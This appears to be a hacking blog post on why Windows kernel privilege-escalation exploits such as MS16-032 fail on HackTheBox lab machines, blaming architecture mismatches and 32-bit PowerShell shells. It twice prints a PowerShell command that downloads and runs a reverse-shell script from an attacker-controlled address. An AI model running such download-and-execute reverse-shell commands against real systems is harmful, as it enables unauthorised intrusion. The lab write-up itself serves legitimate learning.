Why is my windows kernel exploit not working?
After gaining access to a system you might have low privileged shell access. So, it makes sense to elevate your privileges to a higher level to do privileged stuff on the target system. Here comes privilege escalation.
An easy win would be to look for kernel exploits. If the target windows system is quite old it might be vulnerable to some kernel exploits. So you do some scans to look for any kernel exploits and you eventually found some.
So now you carefully search for the specific kernel exploit (some might crash the system), upload it to your target system and try to execute it hoping that it would work out without a problem. But sometimes it might fail and you may freak out.
This might happen due to a number of reasons. But in this post I’m going to be discussing the most common ones:
- The exploit is not compatible with the current system arch (32 bit, 64bit).
- Your shell might be running in wrong arch.
1. The exploit is not compatible with the current system arch.
When you are searching for kernel exploits, you should keep the target system architecture in mind. If the target system is running a 64-bit arch maybe 32-bit exploits will not work. If the target is running a 32-bit arch then a 64-bit exploit may definitely not be working.
I hope you guys may know this, you can use systeminfo to look at what arch the system is running. Here’s a quick little example:
C:\Windows\TEMP> systeminfo Host Name: DEVEL OS Name: Microsoft Windows 7 Enterprise OS Version: 6.1.7600 N/A Build 7600 OS Manufacturer: Microsoft Corporation OS Configuration: Standalone Workstation OS Build Type: Multiprocessor Free Registered Owner: babis Registered Organization: Product ID: 55041-051-0948536-86302 Original Install Date: 17/3/2017, 4:17:31 �� System Boot Time: 17/10/2021, 7:37:15 �� System Manufacturer: VMware, Inc. System Model: VMware Virtual Platform System Type: X86-based PC Processor(s): 1 Processor(s) Installed. : x64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018 Windows Directory: C:\Windows System Directory: C:\Windows\system32 Boot Device: \Device\HarddiskVolume1 System Locale: el;Greek Input Locale: en-us;English (United States) Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul Total Physical Memory: 3.071 MB Available Physical Memory: 2.453 MB Virtual Memory: Max Size: 6.141 MB Virtual Memory: Available: 5.526 MB Virtual Memory: In Use: 615 MB Page File Location(s): C:\pagefile.sys Domain: HTB Logon Server: N/A Hotfix(s): N/A Network Card(s): 1 NIC(s) Installed. : vmxnet3 Ethernet Adapter Connection Name: Local Area Connection 3 DHCP Enabled: No IP address(es) : 10.10.10.5 : fe80::58c0:f1cf:abc6:bb9e : dead:beef::1fc
In this example, have a look at the System Type attribute which defines what arch the system is running. In this case, the system is 32-bit (aka x86).
2. Your shell might be running in the wrong arch.
This mostly applies to Powershell processes. Powershell can run as a 32-bit or 64-bit process depending on the PowerShell executable file location. Here are the file locations of both 32 and 64-bit PowerShell executables.
> 32-bit (x86) PowerShell executables:
> 64-bit (x64) PowerShell executables:
Note: Look out for absolute paths and relative paths
- Absolute path: Full path (Ex: C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe)
- Relative path: Relative to the current working directory. (Ex: PowerShell)
Ok now that you know the PS file locations. Let’s move on.
[Q] How can you identify my current shell is operating as a 32-bit or 64-bit process ?
- Identify 32 bit PowerShell process
PS C:\Windows\TEMP> [IntPtr]::size -eq 4 True
- Identify 64 bit PowerShell process
PS C:\Windows\TEMP> [IntPtr]::size -eq 8 True PS C:\Windows\TEMP> [Environment]::Is64BitProcess True
Some time ago I played a CTF called optimum from HTB. The target system was a 64-bit machine. I successfully managed to get a shell on the target system. Via this payload
powershell.exe IEX(new-object net.webclient).downloadstring('http://10.10.14.9:3000/Invoke-PowerShellTcp.ps1')
As you see I’m using a relative path to PS (powershell.exe) to get my reverse shell. It turns out to be the relative path of powershell.exe is a 32-bit process. This means I got a 32-bit reverse shell but the target system is 64 bit which I was not aware of.
With some scanning, I discovered that the target is vulnerable to MS16-032. I found a 64-bit powershell script that matches the target arch. But when executing the exploit it did not work.
But after some time I figured out where’d I screwed up (My current shell is 32-bit). So I managed to get a new reverse shell again this time specifying to use a 64-bit PS file path (absolute path).
C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(new-object net.webclient).downloadstring('http://10.10.14.9:3000/Invoke-PowerShellTcp.ps1')
Now, let’s try that again with our new 64-bit PowerShell reverse shell session.
If you want to learn more about why the exploit MS16-032.ps1 failed more in detail manner. Please have a look at this blog post by coastal.
Alright guys that’s it for today’s post. I hope you guys have learned something valuable from reading this post. If you like this post please share it with your fellow hackermates and if you have any questions & suggestions please feel free to post them down in the comments or contact me. If I made any mistake somewhere in this post please DM me. I’d love to hear and learn from you.
Have a great day guys. I’ll see you in the next post 👋.